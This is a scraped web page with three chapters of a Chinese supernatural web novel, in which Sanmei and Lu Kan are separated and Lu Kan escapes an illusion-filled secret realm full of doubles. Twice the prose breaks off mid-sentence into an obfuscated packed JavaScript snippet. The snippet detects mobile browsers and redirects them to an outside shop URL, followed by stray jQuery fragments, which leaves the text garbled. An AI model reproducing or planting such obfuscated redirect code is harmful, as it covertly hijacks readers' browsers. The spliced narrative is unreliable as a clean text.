然而三枚却算错了。 就在她转身的瞬间,那膨胀的鬼气倏而停了下来,以排山倒海之势猛地朝三枚的方形倾覆而来。 三枚双眼圆瞪,转身拽过陆衎就跑。 117. 第 117 章 “这老东西疯了!” 浑身鬼气还没稳定下来,就盯上了他们,也不怕自己魂体不稳,走火入魔灰飞烟灭啊? 这时候,三枚突然想起了回去地府后,还未归来的小鬼头。 “那小鬼动作也太慢了吧,看来也就是个小小的芝麻官啊,等它查完资料回来,黄花菜都要凉了!!!!” 突然暴涨的鬼气,令三枚顿时措手不及,此时耳边突然传来“嗡嗡嗡”的闷响,手中震动不停。 她低头一看,原来是抓在手里的小棺椁,不知道受了什么刺激,正躁动不安地乱摇乱摆,仿佛里头有什么东西,正要喷薄而出。 想到什么,三枚心道不好:“糟糕!看来还是被周围磅礴的鬼气影响到了!” 她脚下一个踉跄,身子往前飞扑过去。 陆衎眼疾手快,伸手拉住三枚,两人抱作一团,往一旁的滑坡滚了下去。 穿过几处茂密的草丛,好一会儿,两人才险险地停在了一处沼泽地旁。 “三枚,你没事吧?”陆衎起身,看着三枚着急地问道,“有没有哪里受伤?” 三枚摇头:“没事。” 她让陆衎将自己拉起来,飞快地环顾一圈,见身后的鬼气已经追了过来,来不及仔细判断,拉着陆衎又跑了起来。 “快跑!老东西又来了!” 小棺椁震动的频率越来越剧烈,嗡嗡嗡的声音越来越响。 三枚咬了咬牙,忽而松开陆衎的手。 她再也顾不得其他,一下子就打开了小棺椁,强行将里头的木清梅和马大旺一家的魂魄扯在了手中。 “对不住了,我和陆衎的命也是命,你们自求多福吧,我们先活命要紧!” 三枚嘴里碎碎念,正想手里的魂灵往前丢掷出去,不想动作一僵,脚下冻住了一样。 “三枚?” 陆衎见三枚突然停了下来,回头却见她半个身子已经被黑芒覆盖住,瞳孔瞬间瞪大。 “三枚!” 他失声大吼,丢开手里的锁魂箱,伸手就要去拉她。 手中亡灵,怨煞之气突然缠上了三枚,她不敢轻易动弹,见陆衎朝自己靠近,大喝一声:“别过来!” 陆衎根本听不见,一眼就锁定了怨气发散的源头,怒发冲冠地强过三枚手中的小棺椁,就要朝地上摔去。 这时候,消失许久的小鬼头,终于出现了。 它刚一冒头,就知道不妙了。 周围鬼气冲天,不止影响了三枚小棺椁里的鬼魂,还将三枚的魂智给冲昏了去。 甚至连陆衎这样鬼怪都惧的盛阳之躯,都被刺激得面目狰狞。 但这些在小鬼头的眼里,还算可以挽救,现下最要命的是,他们现在所处的位置,可是无主之地的秘境啊!! “住手!” 小鬼头扭身一闪,瞬间就扑进了陆衎的怀里,“不能摔啊!” 然而它说的还是太迟了,话还没说完,小棺椁已经从脱了手。 三枚迷糊的神志好似清醒了一瞬,看清周围环境,又见小棺椁好像摔在地上,砸出了一大片的火光。 目光不经意与小鬼头对上,她下意识就喊:“保护你爹!” “砰!” 穿云裂石的巨大响声,骤然炸响。 雷霆万钧,震天动地。 天空电闪雷鸣,仿佛天崩地裂,末日降临。 —— 三枚恢复意识的时候,轰隆的耳鸣还在耳边持续炸响,她缓缓地睁开眼睛,视野一片模糊不清。 她用力晃了晃脑袋,视线慢慢地恢复了清明。 躺在冰凉的地上,三枚脑袋发蒙,看着湛蓝的天空发起了呆。 直到阳光倾斜,金色的光辉洒照在她的身上,目光在光晕里漂浮的尘埃上打转了一会儿,才似乎缓过劲来。 “天亮了啊。” 三枚慢声道,清亮的声音变得沙哑,她舔了舔有些干裂的嘴唇,感到有些口干舌燥。 她想从地上坐起来,刚动了一下胳膊,浑身一个激灵,恢复知觉的瞬间,一股难以言喻的酸痛骤然袭来,疼得她龇牙咧嘴,眼眶瞬间挤满了泪水。 “啊疼疼、疼疼死我了!!!” 三枚双眼紧闭,忍着巨疼,艰难地坐了起来,再次睁眼的时候,眼圈鼻头都红了一大圈。 “小棺椁啊,不是我说你,你这脾气也太大了吧,不就是砸了你一下吗?若非你自己意志不坚定,被影响后差点弄伤我,陆衎也不至于——” 陆衎?对了,陆衎呢? 三枚念念叨叨,突然想起陆衎,再顾不得身上的痛楚,一下子就从地上站了起来。 “陆衎?你在哪里?” 三枚大声呼唤着陆衎的名字,一瘸一拐,左顾右盼,找得全身冒汗,也没看见陆衎的影子。 “冷静!冷静!冷静!”她用力拍了拍自己的脸颊,强迫自己冷静下来。 深呼吸,缓缓地吐了一口浊气,三枚眼神凌厉,一边观察周围的环境,一边回忆着昨晚发生的事情。 昨晚自己和陆衎好像是从哪块滑坡,滚到了一块隐秘的沼泽地旁边,然后她手里的木青梅的怨气暴涨,缠着自己不能动弹,小棺椁也失控了。 三枚当时被怨气缠身的时候,意识有段时间是迷糊的。 脑袋发蒙的时候,她好像看见陆衎夺过了自己手里的小棺椁,用力地砸在了地上,然后小鬼头突然出现,自己似乎跟它说了什么,然后就晕了。 逐渐冷静下来后,三枚发现,自己现在所处的环境,虽然是一片荒山野岭,但分明与昨晚发生事故的地方不是一个地儿。 她举目环顾四周,最后发现了不远处,有一个显眼的巨石。 三步并作两步,三枚瞬间就来到了巨石跟前。 “无主之地,秘境,幻象丛生,我爹没——” 巨石之上,刻着十三个大字,潦草凌乱,像是谁匆匆忙忙留下的字迹。 “没”字还没写完,最后一笔在巨石上划下了长长的尾巴,像是被人强行打断。 没什么? 没事?还是没了? “无主之地应该是个地方,被人称作秘境,里面幻象丛生,看来是个十分危险的地方。” 三枚摸着下巴,逐句揣测,随着她一字一字念出,石上的字迹瞬间化作一股黑烟,咻的一下散作了尘埃。 “嗯?消失了?”三枚伸手,看着黑烟从指缝中溜走,忽而身子一顿。 她的脑海里,突然闪过小鬼头歪头看着自己笑嘻嘻的模样,眼睛倏而一亮:“是那丫头给自己留的信息!” 这一发现,令她心中高高举起的大石,瞬间安定了不少。 那丫头能在地府当上官,甭管大小,身上一定有过人之处,有它在,陆衎一定不会出什么大事的。 况且能在十万火急的混乱之中,给自己留下这么一条堪称言简意赅的关键信息,三枚十分笃定,小丫头一定能保护好陆衎的。 “现在,只要自己找到这个秘境在哪里,就能找到陆衎。” 就在三枚静心思忖着接下来该做什么的时候,脚边突然出现了消失已久的锁魂箱。 余光向下一瞄,她没甚在意地移开,忽而又低头看去。 “小棺椁呢?怎么空荡荡只有你一个而已?”她蹲下-身,一边敲着箱子,一边问道。 锁魂箱一顿,默默向后一退,露出了身后豁了一个大口子的破瓷碗。 三枚惊呼出声:“哎呀,你又是怎么回事?”磕破了这么一大块! 破瓷碗闻言,啪的一下倒扣在了地上。 “小棺椁害的?” 三枚捂脸,头疼得很。 小棺椁平时没什么脾气,特别宽容仁慈,但是脾气一旦爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957849|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,必殃及池鱼,包括她自己。 陆衎就是因为见它要对自己不利,才不顾自身安危,非要砸了小棺椁才罢休。 两个暴脾气,居然连场合都不顾,硬碰硬,碰一起爆发了。 “现在不用你说,我也知道,小棺椁估计是跟着陆衎一起不见了。”三枚头疼地想。 “算了,我还是先回古井村,出去后找到裴元和邢大哥他们再说吧。” 这个叫做什么秘境的,也得让人好好找找资料,自己到时候找起来才方便。 于是三枚拖着锁魂箱,手里拿着个破瓷碗,一瘸一拐地在荒郊野岭晃悠了起来。 —— “怎么样,三枚和在野他们还没回来吗?” 邢正从马背上一跃而下,看着肃着一张脸的裴元,“黑渊那儿呢?有什么发现吗?” 裴元点了点后头被五花大绑的三兄弟,道:“小三枚家的八耳,带着我到那个传说中的养尸地,挖出了这三个家伙。” 邢正转头,瞳孔一缩,心中暗道:好家伙,个个鼻青脸肿,脸上糊作一团的红印,像是五指分明的巴掌印,都快肿成猪头了,根本无法分辨具体长相。 他看着裴元:“那养尸地这样毒?把人蛰成这样,这也没法让人指认谁是谁啊。” 睨了眼缩在角落打瞌睡的阿丑和白墨,裴元啧啧摇头。 想到昨晚这小丫头扇人巴掌的狠劲,还有白墨一脸心疼她手疼,一边帮忙扇的天真模样,他便心有余悸。 搓了搓胳膊上的鸡皮疙瘩,裴元凑近邢正,拿折扇掩唇,小声道:“养尸地毒不毒我是不知道,但我笃定,这两个小屁孩跟他们仨有仇!” 下手是真狠,扇人巴掌时的眼神,那叫一个毒啊!! 邢正顺着裴元的视线看去,皱眉问道:“哪来的小孩?” “小三枚派来的。”裴元折扇一收,“他们认出这三个家伙,就是碧水村那个洪姓族长的左膀右臂。” 至于为什么会凭空出现在养尸地里,裴元也想不出来。 他守在这儿,就是为了第一时间堵到小三枚,让她为自己答疑解惑。 没想到现在都天光大亮了,古井村附近还没一个人影出现。 陆衎和小三枚,不会真的出事了吧? “之夜怎么说的?”邢正板着脸,也是一副凝重的神情。 裴元摇头:“之夜说,在野吩咐他,若是辰时还未收到他的消息,让我们不要犹豫,将黑山寨和碧水村的人,全数拿下。” 邢正黑脸沉了又沉,陆在野跟三枚走之前,也是这样跟自己说的。 ——“若是辰时已到,我和三枚还没出现,那应该是情况有些棘手,但不一定就是出事了。这个时候你们千万不要轻举妄动,擅自进村,而是迅速拿下黑山寨和碧水村的人。三日之后,若我们还是没有消息,你必须规整队伍,带着所有人即刻撤退回京。” ——“记得第一时间就将裴子钰打晕,否则他一定会趁你们不注意,偷偷溜进村里的。” 陆衎当时没有给邢正反驳的机会,说完就走。 现在想想,他应该也是觉得此番古井村之行,必定凶多吉少,才会耐着性子跟自己交代那么多,连应对裴子钰的方法,都给他指定了。 裴元不知道邢正心里所想,兀自喋喋不休地道:“古井村呢?他好像没有给之夜交代要怎么处置古井村,难不成就这样放着不管?” “你说,”他转头看着邢正,好看的桃花眼严肃得很,“陆在野预设了最坏的情况,安排到最后,不会是要我们扔下他们不管吧?” 邢正沉默不语,也不看裴元,垂在身侧的手蠢蠢欲动,正想抬手刀往他脖子上劈,视野里突然闯进一个一瘸一拐的身影。 “裴子钰,你看!”他一掌拍在裴元的肩膀上,把人拍得一个踉跄。 “快看,好像是三枚出来了!” 118. 第 118 章 “陆衎、陆衎,快醒醒!” 陆衎脑袋昏昏沉沉,耳边是三枚急切的呼唤声,他眼皮沉重得很,皱着眉头,挣扎了很久,才缓缓地睁开了眼睛。 视线刚恢复清明,三枚的小脸就凑了过来。 她皱着鼻子,好似一脸无奈的样子,一边吃力地将陆衎拖了起来,一边埋怨道:“都快日晒三竿了,你还不起?” “三枚?”陆衎撑着有些刺疼的脑袋,有些不确定地道。 毕竟,眼前的三枚,好像跟平时看起来有些不一样。 印象中,三枚好像从来都是素面朝天,一身道士长袍,头上的发髻只随意地用木钗束紧,十分干脆利落的装扮。 然而现在站在他面前的的三枚,脸上似乎上了妆,头上不仅戴满了金簪宝珠,看发型,好像还盘成了妇人的样式。 再看她身上穿的衣裳,十分的繁琐华丽,一点也不利于行动的样子。 这,是三枚吗? 陆衎眉头越皱越深,看着三枚,眼里充满了疑惑不解。 “看傻啦?”三枚抬手,在陆衎的眼前挥了挥。 她宽袖往上微微一遮,捂着嘴巴又娇又俏地轻笑了一声,“怎么,今儿又被你夫人的美貌迷住了眼,走不动道啦?” 陆衎越看越不对劲,蓦然听见三枚的话,又是一愣。 “夫人?”他瞪大眼睛。 自己和三枚已经成婚了吗? 但他怎么一点印象也没有,而且脑子里好像糊成了一团,感觉忘记了什么重要的事情。 “少来这套!别以为装傻就能赖床了啊。”三枚一甩长袖,点了点陆衎的额头。 赖床? 陆衎低头,这时才发现,自己身下确实就是他的床,再抬头在房间里环视了一圈。 没错,是他在都城的寝室。 但是,怎么会这样呢? 陆衎按着额头使劲想,绞尽脑汁也想不出到底不对劲在哪里。 “三枚......” 他才刚开口,从天而降一件衣裳,毫不留情地砸在了他的脸上。 “少说废话了!赶紧起来穿衣洗漱。” 三枚坐在长榻边上,一手撑着脑袋,看着陆衎念念不休。 “昨晚让你早点睡早点睡,你非不听,折腾了老半天,这下好了吧,看天色都快迟了。” 陆衎不解,但耳朵却莫名其妙红了起来。 “迟、什么迟了?”他不知为何,有些结巴。 其实他更想知道的是,昨晚自己到底折腾了什么。 三枚嚯地起身,一下子就冲到了陆衎的面前,捧着他的脸,往窗外一指。 “你说什么迟了?你上朝就要迟了啊,大人!” 上朝? 陆衎听到这里,本来有些混乱和波动的情绪,瞬间就冷静了下来。 他别开脸,眼睑微垂,轻声道:“你是谁?” “我是谁?”三枚声音陡然拔高,“陆衎,我看你真是睡傻了吧!” “你别想耍花招不想去上朝啊,几岁的人了还耍赖!我看女儿每天的赖皮劲,就是从你这儿学的!” 陆衎一愣:“女儿?” “啪!” 房间的门被人从外推开,哒哒哒跑进来一个头上扎着冲天辫的小女孩,三四岁的小模样。 陆衎眸光一闪,接着便皱起了眉头。 小女孩一边跑,一边大喊:“爹,娘,小七一觉醒来,可想死你们了!” 她挤到三枚的身前,小脑袋往上一窜,仰头看着陆衎,笑嘻嘻地道:“爹爹,您又耍赖不愿去上朝啦?” 陆衎脑袋向后一仰,敏捷避开了冲天辫的袭击,冷眼在小女孩的脸上扫了一圈。 隔着小女孩,他敏锐地察觉到,被挤开的“三枚”,身子僵硬了一瞬。 陆衎眼神完全冷了下来,他无视了小女孩的撒娇,将她的脑袋往下一按,迅速伸出另一只手,眨眼就掐住了“三枚”的脖子。 “三枚”瞳孔猛然瞪大,一边用力掰开陆衎的手,一边不可思议地道:“陆衎,你、你这是做什么?” “你、你疯了吗?陆衎,你快放手!我难受......陆衎,我脖子好疼......” 陆衎面无表情,看着“三枚”在眼前哭得梨花带雨,完全无动于衷。 掐着人的五指,反而越来越用力,他眼里划过一抹厌恶,声音冰冷,一字一顿地道:“说,你是谁!” 就在他话音落地的时候,被自己掐住脖子的“三枚”,倏而化作了一道烟,瞬间就与空气融为了一体。 一阵天旋地转,陆衎眼前骤然一暗,再次恢复明亮的时候,自己正躺得板板正正,身下冰凉一片。 头顶的天,蓝得像一望无际的大海,然而这大海,却安静得连一点涟漪都没有。 陆衎盯着浪花一般的白云,看了好一会儿,也不见它有丝毫的动弹。 记忆在缓慢回笼,陆衎终于想起来了。 “三枚?”他呼唤三枚的名字,没有得到回应。 聚精会神地侧耳听了一会儿,陆衎发现,周围只有自己一个大活人。 意识到三枚没在自己的身边,陆衎心里便忍不住焦急了起来,立马起身要去找她。 然而,自己只是稍微动了动手指,疼痛立马争前恐后地朝他全身袭来,砸得他眼冒金星,冷汗淋漓。 半晌过后,陆衎才慢慢的缓过神来,轻轻地呼出一口浊气后,他咬牙坐了起来。 目光不经意往下一瞥,身子顿时一僵,陆衎前后左右看了一下,自己居然躺在一个棺椁里。 泛着光泽的深棕色棺椁,看起来还挺眼熟,特别是空气里那淡淡的中草药味,陆衎总觉得好像在哪里闻过。 脑中突然灵光一闪,他想起来了,这个棺椁好像跟昨晚自己砸在地上的小棺椁长得一模一样。 记得之前掉下悬崖的时候,曾经半途接住自己和三枚的棺椁,也是它。 看来昨晚突如其来的大爆炸,是它保了自己一命。 那三枚呢? 陆衎忍着剧痛,慢慢地从棺椁里跨了出来,浑身骨头像散了架一般,他靠着棺椁坐在了地上。 放眼远眺,一片苍茫,自己坐着的地方,却是烟雾缭绕,宛若仙境。 这样不真实的感觉,就跟方才的梦一样。 想到刚才的梦境,陆衎蹙眉,侧身睨了边上一眼,冷声道:“别躲了,赶紧出来!” “嘿嘿!” 过了一会儿,躲在棺椁边上的小鬼头,笑嘻嘻地探出了自己的小脑袋,一脸讪笑地看着陆衎。 “爹爹,你可是醒了呀。”小鬼头滴溜溜地眼珠子转了一圈,慢吞吞地挪到了陆衎的身边。 陆衎没有说话,就那么看着小鬼头,明明不发一语,浑身的气势和威压,却将小鬼头压得心里一颤。 小鬼头被看得头皮发麻,顶着陆衎那冷死人不偿命的视线,笑得小脸发僵。 须臾,它鼻子一皱,噘着嘴巴,反而发起了脾气。 小鬼头像个恼羞成怒、无理取闹的熊孩子,突然在地上打滚,嘴巴还大声嚷嚷了起来。 “你凶我!陆衎,我要跟我娘告状!” 陆衎面无表情,心里波澜不惊,看着小鬼头把自己滚得灰头土脸,甚至有些想笑。 “你娘?”他哼笑一声,“你是指刚才那团烟吗?” 小鬼头身子一僵,偷偷瞄了陆衎一眼,“你还记得啊?” 陆衎没有回答,若有似无地睨了它一眼。 “额......”小鬼头不敢再耍无赖了,自己慢慢坐了起来。 “我、我不是无聊吗,反正都入了幻境,也出不去,就、就陪着演演戏嘛。” 它噘着嘴巴,双手抱胸,看着陆衎道:“反正你也没什么损失,有什么好气的。” “哼!” 陆衎轻哼一声,等身体适应了时不时抽痛的感觉,慢慢地站了起来。 现在身处的环境十分陌生,周围一点人烟都没见到,陆衎紧拧的眉头一直没有松开,眼神戒备地环顾四周。 “你刚才说反正也出不去,是什么意思?” 他转头,看着小鬼头道:“你知道这儿是什么地方,对吗?” 小鬼头还坐在地上,闻言点头,环在身前的小手,朝陆衎招了招。 陆衎扫了它一眼,蹲下=身子,“可以说了?” 小鬼头满意地笑了笑,“这儿啊,是个无主之地,世人又称之为秘境。” 陆衎:“秘境?” “对。”小鬼头睁大眼睛,看着陆衎,指着自己的小小脑袋,道:“这里险象环生,主要是因为会让人神智错乱,因为它会侵入人体的大脑,使人产生幻觉。” “幻觉?所以我刚才不是在做梦,而是脑子里产生了幻觉?”陆衎问道。 小鬼头:“可以这么解释。” 陆衎:“那现在呢?现在我肉眼可视的一切,是真的还是假的?” “当然是真的了。” 小鬼头抓着陆衎的胳膊,借力站了起来,它张牙舞爪地比划了一下。 “你能从幻觉里挣脱出来,不被蛊惑,它已经知道你不是那么好对付的了,对你有所顾忌,短时间内它不会再次出手了。” “所以你现在看到的一切,就是秘境的真实面目。” 小鬼头说完,扒拉了陆衎一下,问道:“对了,你是怎么认出来的,那个冒牌货不是我娘?” 怎么认出来的? 陆衎其实一开始也被骗了过去,一抽一抽胀痛的脑袋,根本没有给他冷静思考的机会。 面对形象大不相同的三枚,他虽然心里觉得不对劲,但大脑的记忆又像是被什么神秘的力量操控了一样,不仅左右了他的情绪,还将他的双眼都暂时蒙蔽了。 直到三枚说他早朝要迟到了,脑袋发热的陆衎,一下子就冷静了下来。 他自担任大理寺少卿以来,从未上过早朝,这是皇上明令特许的。 还有,三枚曾经不止一次碰过自己的脸,她的拇指和中指关节处,都有一个小小的茧子。 陆衎猜测,应该是平时拿着那个破瓷碗握出来的。 然而当时那个穿着华丽,明显已经放弃了寻尸人的志向,为他洗手作羹汤的三枚,手上却光滑莹润,像是精心保养出来的。 更重要的一点是,那只手冰凉得很。 三枚自养尸地出来后,分明说过她的体质已经被彻底改变,身体不再阴冷畏寒。 冷静下来之后的陆衎,反正一眼就看出了那是个冒牌货。 但这些,都是自己的感觉,也没必要跟小鬼头多说。 陆衎站起身,没有回答小鬼头的问题,慢慢地在四周走动了起来。 他一边走一边左右观望,忽而发现,自己每走动一步,那些缭绕的烟雾,便跟着自己移动。 眉头轻蹙,陆衎抬头,便见从棺椁醒来时看见的那朵波浪形状的白云,一直就缀在他的头顶上。 “都跟着你呢。”小鬼头拉着陆衎的手,“看来这个秘境,对你还挺有兴趣的。” 陆衎低头看了小鬼头一眼,抽回自己的手,径直朝棺椁走去。 这是三枚的东西,他若是要在秘境里寻找出口,应该也将它带上。 免得等下自己又产生了其他的幻觉,或者陷入了迷宫,到时候将棺椁丢了,不好跟三枚交代。 “但是,要怎么把你恢复成巴掌大小呢?” 陆衎绕着棺椁走了一圈,没有找到任何的机关,有些头疼。 “你,”他指了指自己,轻声说:“要跟着我吗?” “我要在秘境里寻找出口,若是你想跟着我走,那便自己变回原形,或者你自己移动跟上?” 小鬼头亦步亦趋紧跟在陆衎的身后,听见他的话,噗嗤一声笑了出来,它双腿蹬地,一下子就跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972118|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了陆衎的肩头。 它稳稳落座在陆衎的一侧肩头,双手环胸,昂着头道:“你想找秘境出口?那我可得劝劝你,别白费力气了。” 陆衎侧头,看着一脸傲然的小鬼头,问道:“你又知道什么了?” “我知道的可多了去了!” 小鬼头高举双手,画了了一个大大的圆圈,表情夸张,语气特别骄傲地道:“我上知天文下知地理,通古晓今,博学多才,身兼七十二般武艺,像我这般的人才,可谓是前无古人后无来者。” 它说完,骄傲地昂起头颅,斜睨着陆衎,一脸等夸的小模样。 陆衎心里觉得好笑,也不戳破它的小心思,但也没有顺着的意思,只淡淡地道:“那你就说吧,你对这秘境,都知道些什么。” 小鬼头没有等到自己想要的夸赞,不高兴地嘟起嘴巴,轻哼了一声,才道:“你是找不到秘境出口的。” “你应该也发现了吧,不管你走到哪里,周围所有的东西都跟你一起移动,包括天上的云朵,你根本就无法判断方向。” 它撑着下巴,“退一步来说,就算真让你找到了出口,你也出不去。” 无主之地之所以这般危险,除了它幻境多变,会趁人不备控制你的记忆,让你逐步陷入它制造出来的幻象里,还有更重要的一点,便是有一道结界。 这道结界,俗称进的来出不去。 除非有人站在外头拉你一把,但外头的人触碰到结界的瞬间,也会被吸附进秘境。 想要出去,外头得有人来救你,但来救你的人,一定会逃不过陷入秘境的结局。 总而言之,就是无解。 陆衎听完小鬼头的话,认真地思考了一瞬,须臾道:“我知道了。” 小鬼头听陆衎这么说,以为他是听进去自己的话,放弃挣扎了,正想说点什么鼓励他一下,没想到陆衎半跪在棺椁前,又开始捣鼓了起来。 “你考虑好了吗?”他对着棺椁道。 小鬼头歪着脑袋,不明所以。 陆衎等了一会儿,点了点头站起来,正想转身的时候,硕大的棺椁,倏而开始缩小了起来。 “咦,它真听你的话变小了呢。”小鬼头看着陆衎,惊奇地道。 陆衎挑了挑眉,等棺椁差不多巴掌大后不再继续缩小了,才弯腰将它捡起来。 他左右环顾了一圈,须臾朝着一个方向,开始迈开了步伐。 “诶,你、你要去哪儿啊?” 陆衎:“找出口。” 小鬼头:“不是说了没用的吗?” 陆衎:“不管有用没用,总得试上一试。” 他向来不是坐以待毙、干等着人来救命的人。 何况,若是真如小鬼头所言那般,那自己更应该自救,而不是让三枚与自己一般,陷入同样的困境。 小鬼头:“可是、可是......” “没什么可是的。”陆衎说完,不再多说,径直往前走。 令小鬼头意料之外的是,陆衎也不知道是怎么捣鼓的,明明周围跟鬼打墙一样,走来走去都像是在同一个地方打转,连它一个地府鬼王都绕晕了,他竟是十分从容有余。 最后,还真让他找到了突破口。 只见陆衎提着三尺青锋软剑,在原地耍了一套功夫后,双脚猛然蹬地,忽而以电闪雷鸣之势,毫不犹豫地刺向了一直跟在他们头顶的那朵白云。 “哗啦”一声。 浪花一般的白云,被他刺成了碎片,噼里啪啦像炸开的烟火,碎片仿若流星雨,最后淅淅沥沥地洒落在地上。 一成不变的刻板环境,倏而变了个模样。 不管是天上地下,全是白茫茫的烟雾,周围空气稀薄,温度却十分的温暖适宜。 陆衎从天而降,稳稳落地的瞬间,周围的烟雾倏而向四方散去,露出了两条通道。 “哇!” 小鬼头忍不住惊叹了一声,它紧紧地抱着陆衎的脖子,一脸神奇地看着他。 “爹爹,你不愧是我选中的爹爹,这么厉害!!” 它竖起大拇指,眼里充满了震惊和崇拜。 陆衎低笑一声,指着两条通道,问:“你先看看,现在是我的幻觉,还是真的。” 小鬼头使劲点头:“是真的,你找到秘境的出口了,不是幻觉,真真的。” “嗯。”陆衎十分淡定,在两条通道口来回踱步,仔细观察。 小鬼头也没干坐着,既然他爹都有本事找到秘境的出口,搞不好还真能成为第一个从秘境出去的人呢。 它怎么说,也得帮上一点忙才是,否则出去了,怎么找三枚邀功求夸呢? 这般想着,小鬼头从陆衎的肩上跳了下来,双手背在身后,在这个通道口瞧瞧,又到那个通道口看看,却是看得一头雾水。 它皱着鼻子嗅了嗅空气,“这两个通道口,好像没有什么不同之处。” 陆衎眉头微皱,也无法分辨。 他思忖了一会儿,正想随便选一个通道进去,突然听见靠近小鬼头的那边通道,传来“哒哒哒”的脚步声。 十分急促,伴随着人轻轻喘气的声音。 随着脚步声越来越近,陆衎双眼忽而一亮,好像听出脚步声的主人,他连忙迎了上去。 就在这时,通道里突然冲出一个人来,看见小鬼头的时候,先是一愣,接着抬头,脸上便换上了惊喜。 “陆衎!” 看清了来人,陆衎嘴角情不自禁往上一扬:“三枚。” 他三步并作两步,正要与三枚拥抱的时候,另一侧的通道口里,亦是冲出了一个人影—— “陆衎!” 赫然又是另一个三枚。 看见不管是穿着打扮,还是动作神态,都别无二致的两个三枚,陆衎脚下忽而一顿,往后退了一步,脸上的喜悦瞬间荡然无存,取而代之的是一脸冷沉。 “又是、幻觉吗?” 119. 第 119 章 陆衎默默后退,神情戒备地看着两个三枚,迟疑地问:“又是、幻觉吗?” “不是幻觉。” 小鬼头不知何时来到了陆衎的身边,左看看又瞧瞧,咽了咽口水,道:“不是幻觉。” 陆衎:“不是幻觉?” 那为什么两条通道里,各自都跑出了一个三枚来? 难不成三枚还能一分为二? 小鬼头眨了眨眼,又跳上了陆衎的肩头。 它左右仔细观察着两个一模一样的三枚,神情严肃,嘟着嘴巴,嘟哝道:“有一个是真的,另一个,估计是秘境变幻出来的。” “看来,这个无主之地,对你很是满意,不愿放你出去。”小鬼头在陆衎的耳边轻声道。 陆衎心里有些烦躁,因为他居然分辨不出来,两个人之中,谁到底是真的那个。 两个三枚,相似到什么程度呢? 可以说是呼吸的频率,脸上的细微表情,身上的味道,和脚步的轻重,都一模一样。 甚至对于陆衎没能一下就认出自己的,萦绕在眉间的那淡淡不满,蹙起的眉角,都分毫不差。 陆衎忍不住出声喊道:“三枚......” 他的声音一出,两个互相审视的三枚,都不约而同地转过了头,瞪着陆衎道:“干嘛!” 小鬼头抱紧了陆衎的脖子,“天,就连生气时的语调都没有差别,这要怎么认?” “什么怎么认?有那么难认吗?” 听见小鬼头的话,再看见陆衎蹙着眉头的样子,三枚气不打一处来,双手叉腰,怒气冲冲地道:“陆衎,睁大你的眼睛看清楚,我和这个冒牌货哪一点像了?” “你这个冒牌货,别学我说话!” 陆衎看着异口同声的两个三枚,感觉头都大了。 见两人吵嚷了几声之后,撸起袖子就要打起来,他连忙出声制止:“等一下!” 这个秘境既然能幻视出另一个三枚来,难保不会连三枚的本事也复制了去,若是这样,打起来的话,最后很可能分不了胜负,真正的三枚还会因此受伤。 那岂不是得不偿失? 陆衎心有顾忌,左右看了一眼,突然问道:“三枚,你还记得,撞翻裴子钰大马车的青牛,是谁的吗?” “当然!”其中一个三枚抢先道,十分笃定地道:“王忘芒。” 慢了一拍的真三枚,怒气冲冲地瞪了另一个冒牌货,又转过头怒视陆衎:“陈年旧事,我怎么可能一下子就记起来?这个冒牌货,指不定是随便瞎诌了个名字,忽悠你的。” “恩。”陆衎点了点头,“老大爷确实叫做王忘芒。” “你!”三枚咬着牙,狠狠地瞪着陆衎,“你、你信这个冒牌货的?” “哼,你才是冒牌货!连出现在自己生命里的过客,都说不出名字,你的话谁能信服?” “你有病吧?都说了是过客,谁会记得那么清楚啊,我是人又不是神,不重要的人我记他干嘛?” “你才有病!你才是冒牌货!你连正确答案都不知道,还敢说你是真的,真是厚颜无耻!” “你才是冒牌货!” “你才是冒牌货!” 两人说着说着,吵成了一团,陆衎挑了挑眉,与肩上的小鬼头对视了一眼。 小鬼头立即会意,突然从陆衎的肩上跳了下来,双手大张,炮弹一样冲向了吵架的两人。 它一边冲,一边大喊:“娘,娘啊......” 吵架的两个三枚,听见小鬼头的大声喊叫,俱都愣了一瞬。 转身看见朝自己奔跑过来的小孩儿,三枚脸上嫌弃,不由自主地向后退了一步,语气愤愤地道:“占谁便宜呢?谁是你娘!” 而另一个冒牌货,余光往旁边瞥了一眼后,虽然脸上也是嫌弃的神情,但却突然蹲下了身子,居然也张开了双臂。 陆衎看到这里,基本已经判断了哪个才是真的三枚,但他却不动声色,手上软剑一翻,低着手中的铢钱,背到了身后,慢慢地向前走去。 小鬼头扑到了冒牌货的怀里,亲昵地搂着她的脖子,将脑袋埋在她的颈侧。 “爹爹,我娘在这里!”小鬼头兴奋地朝陆衎招手。 陆衎点了点头,慢慢地走近两人。 后退一步的三枚,咬着牙,眼睛似乎要喷火一般,怒视着陆衎。 “你、你们!”她气得手抖,从鼻腔里重重哼了一声,指着陆衎道:“你们眼睛都瞎透了!” 三枚说完转身,沿着来时的通道,怒气冲冲地跑走了。 愤愤不平的三枚跑了,陆衎眉头微微一蹙,下一瞬便又恢复了面无表情,他目不斜视地朝冒牌货走去。 小鬼头抬起头,噘着嘴巴,吐着舌头朝三枚的背影做了个鬼脸,小脸一转,又埋进了身前那人的肩侧。 脑袋微微一侧,它朝陆衎使了个眼色,转过头时,忽而嘴巴大张,对着蹲在面前之人的脖子,一口就咬了下去。 “啊啊啊!!” 就在嚎啕声响起的瞬间,陆衎立即抽出长剑,一剑刺穿了蹲在地上的人的心脏。 